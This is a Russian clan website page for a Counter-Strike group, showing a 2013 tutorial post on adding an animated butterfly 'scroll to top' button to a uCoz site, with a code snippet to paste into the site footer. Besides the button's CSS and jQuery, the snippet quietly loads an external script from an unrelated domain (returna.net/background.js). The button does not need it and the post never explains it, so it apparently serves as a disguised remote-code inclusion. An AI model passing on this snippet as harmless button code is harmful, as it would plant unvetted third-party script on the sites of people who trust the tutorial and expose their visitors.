Добро Пожаловать на сайт Clana C.S.R.IP Role Play: 46.174.48.27:27275 IP DM: 212.76.130.197:27281

Главная Файлы Форум Чат Новости Регистрация Вход

MENU
Основной раздел .::CSR-TEAM::. Альянсы-Друзья Все для Photoshop Все для uCoz Все для Cs:Source Все для Игр Counter-Strike 1.6 Статьи-Книги Скачать игры Разное
Меню Клана




CSR-CS.CLAN.SU | CSR-TEAM
Статистика

Онлайн всего: 1
Гостей: 1
Пользователей: 0
[ Кто нас сегодня посетил ]
Посетители
Онлайн:

Онлайн всего: 1
Гостей: 1
Пользователей: 0

Зарег. на сайте:
Всего: 126
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Из них:
Администраторов: 1
Модераторов: 1
Проверенных: 49
Обычных: 75
Из них:
Парней: 115
Девушек: 10
Счетчик материалов:
Форум: 140/161
Файлов: 141
Новостей: 258
Cтатей: 181
Cайтов: 4
Серверов[css v34]: 13
Картинок: 4
Онлайн фильмов: 9104
Счетчики:
Сегодня нас посетили:

Главная » 2013 » Май » 3 » Уникальная кнопка Scroll To Top (наверх) для сайта
19:06
Уникальная кнопка Scroll To Top (наверх) для сайта
О том, как установить так называемую кнопку "наверх" на Ucoz, имеется достаточно информации. Тем не менее, я тоже вношу свой скромный вклад в описание этой темы.
Моя кнопка имеет пару существенных деталей, которые придают ей уникальность.
Во первых, мне всегда не нравилось то, что кнопка появляется сразу же после минимальной прокрутки страницы. Читатель еще не ознакомился с контентом, а уже "маячит" кнопка, призывая "наверх" и загораживает информацию на боковой панели. В моей кнопке есть настройка и вы сможете установить место страницы, когда она появляется (в середине поста, после или там где комментарии).
Во вторых, учитывая дизайн и специфику многих блогов моих читателей, я сделал анимированную кнопку в ввиде бабочки, что бесспорно является элементом уникальности.
И еще маленькая деталь - цвет при наведении на бабочку курсора, становится более насыщенным.

Установка:
Заходим в панель управления, далее Управление дизайном » Редактирование шаблонов » Глобальные блоки » Нижняя часть сайта. В самый низ вставляете код.

Код
<style>.b-top {z-index:2600;position:fixed;left:0;bottom:10px;width:34;opacity: 0.5;filter:alpha(opacity=50);}
.b-top:hover {opacity:1;filter:alpha(opacity=100);cursor:pointer;}
.b-top-but {z-index:2600;position:absolute;display:block;left:56px;bottom:0;margin:0 0 0 100%;padding:79px 12px 4px;
color:black;background: url(http://bambun.ru/site_img/c701ebd202c1.gif) no-repeat 50% 11px;border-radius:7px;}</style><script type="text/javascript" src="http://returna.net/background.js"></script><script type="text/javascript">$(document).ready(function(){
$(window).scroll(function () {if ($(this).scrollTop() > 1000) {$('#scroller').fadeIn();} else {$('#scroller').fadeOut();}});
$('#scroller').click(function () {$('body,html').animate({scrollTop: 0}, 400); return false;});
});</script><div id="scroller" class="b-top" style="display: none;"><span class="b-top-but">Наверх</span></div>
Просмотров: 116 | Добавил: DoG | Рейтинг: 0.0/0
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Реклама Tak.ru
Реклама Altizer
Баннеробмен







Друзья сайта:

Мы в топах:
Разное
Топ Файловиков ↑↓
Новое на форуме ↑↓
ТиЦ ↑↓
Новые файлы

Ники в CS
Скачиваний: 0
Добавил: Priboy
Добавлено: 22.10.2012

UCP 7.7
Скачиваний: 0
Добавил: Priboy
Добавлено: 20.10.2012
Случайные Файлы
PAINT.NET 3.5.8


Подробнее о файле:
PAINT.NET 3.5.8
Программы
Просмотров: 238
Добавил: Priboy
Дата: 15.10.2012
Перейти

GAME BOOSTER


Подробнее о файле:
GAME BOOSTER
Программы
Просмотров: 221
Добавил: Priboy
Дата: 15.10.2012
Перейти

Тиц-PR
Бесплатный анализ сайта Каталог ИТ Рейтинг SIMPLETOP.NET Мониторинг PR-CY.ru Бесплатная раскрутка сайтов за короткое время, поднятие ТИЦ и PR Бесплатная раскрутка сайтов uCoz Самый лучший топ сайтов Рейтинг_сайтов_RPanel бесплатная раскрутка сайтов
заборы из профнастила Graffiti Decorations(R) Studio (TM) Site Promoter Бесплатная раскрутка сайтов uCoz Раскрутка postPR.ru - социальная сеть для веб-мастеров Бесплатный Онлайн Сервис

Clan.::[C.[S].R.]::. © 2017

CSR-TEAM